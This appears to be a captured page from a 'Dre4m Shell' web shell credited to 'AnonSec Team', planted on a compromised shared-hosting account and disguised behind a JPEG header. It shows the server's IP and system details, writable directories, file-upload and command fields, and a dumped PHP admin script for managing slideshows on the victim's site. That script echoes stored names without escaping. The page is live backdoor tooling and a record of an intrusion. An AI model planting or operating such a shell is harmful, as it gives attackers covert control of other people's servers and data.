ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/cp-admin//slideshows.php
<?php

include_once('includes/header.php');
$id_volet ="43";
include('includes/volet.php');
/****************************/

if (isset($_GET['online'])) {

	$id = $_GET['online'];

  $requete = $bdd->prepare('UPDATE ' . $GLOBALS['db_table']['slideshows'] . ' SET status = 1 WHERE id = :id');
  $requete->execute(array('id' => $id));

	echo '<script>';
	echo 'window.location = "./slideshows.php"';
	echo '</script>';
}

if (isset($_GET['offline'])) {

	$id = $_GET['offline'];

  $requete = $bdd->prepare('UPDATE ' . $GLOBALS['db_table']['slideshows'] . ' SET status = 0 WHERE id = :id');
  $requete->execute(array('id' => $id));

	echo '<script>';
	echo 'window.location = "./slideshows.php"';
	echo '</script>';
}

// Suppression de la page.
if (isset($_GET['del'])) 
{
  $id = $_GET['del'];
  
  $requete = $bdd->prepare('DELETE FROM ' . $GLOBALS['db_table']['slideshows'] . ' WHERE id = :id');
  $requete->execute(array('id' => $id));

  echo '<script>';
  echo 'window.location = "./slideshows.php"';
  echo '</script>';
}

?>

<div class="container">
    <div class="row">
    	<div class="span12">
        	<div class="page-header">
           	 	<h1>Gérer vos Slideshows
           	 	<div class="pull-right">
            			<a href="add_slideshow.php" class="btn btn-primary" id="form">
                    <i class="icon-plus"></i> Créer un Slideshow
                  </a>
        			</div>
        		</h1>
          	</div>
        </div>
    </div>
    <table class="table table-bordered table-striped">
        <thead>
           	<tr>
              	<th class="span2 center">Slideshows</th>
              	<th class="span1 center">Opérations</th>                                        
            </tr>
        </thead>
        <tbody>

        <?php
        $requete = $bdd->query('SELECT * FROM ' . $GLOBALS['db_table']['slideshows']);
    		$list = $requete->fetchAll();

    		for($i=0; $i<count($list); $i++) {
    			$id = $list[$i]['id'];
    			$status = $list[$i]['status'];
          $name = $list[$i]['name'];

    			echo '<tr>';
      			echo '<td class="span1 font12 center"><b>'.$name.'</b></td>';
      			echo '<td class="center">';
              if($status == 0)
              {
                echo '<a href="./slideshows.php?online='.$id.'"><img src="assets/img/offline.png" title="Passer en ligne"></a>';
              }
        			else
              {
                echo '<a href="./slideshows.php?offline='.$id.'"><img src="assets/img/online.png" title="Passer hosr ligne"></a>';
              }

        			echo '&nbsp;&nbsp;';
        			echo '<a href="#" id="'.$id.'" class="display_edit_slideshow_title" title="'.$name.'"><img src="assets/img/edit.png" title="Editer le nom du slideshow"></a>';
        			echo '&nbsp;';
              echo '<a href="./slideshow_content.php?id='.$id.'"><img src="assets/img/details.png" title="Gérer les photos de l\'album"></a>';
              echo '&nbsp;';
              if($id > 2)
              {
        			 echo '<a href="./slideshows.php?del='.$id.'" id="'.$id.'" onclick="return confirm(\'Êtes vous sur de vouloir supprimer cette élément ?\');"><img src="assets/img/delete.png" title="Supprimer le slideshow"></a>';
              }
            echo '</td>';
    			echo '</tr>';
    		}

    		if(count($list)==0) echo 'Aucun &eacute;l&eacute;ment à afficher !!!';
        ?>

        </tbody>
	</table>
</div>

<div class="modal hide fade" id="slideshow_title_box" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true" wi>
  <div class="modal-header">
    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">x</button>
    <h3 id="slideshow_title_box_box_header">Editer le nom</h3>
  </div>
  <div class="modal-body" id="slideshow_title_box_content">
  </div>
  <div class="modal-footer">
    <button class="btn" data-dismiss="modal" aria-hidden="true">Fermer</button>
    <button class="btn btn-primary" id="update_slideshow_title">Enregistrer</button>
  </div>
</div>

<?
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team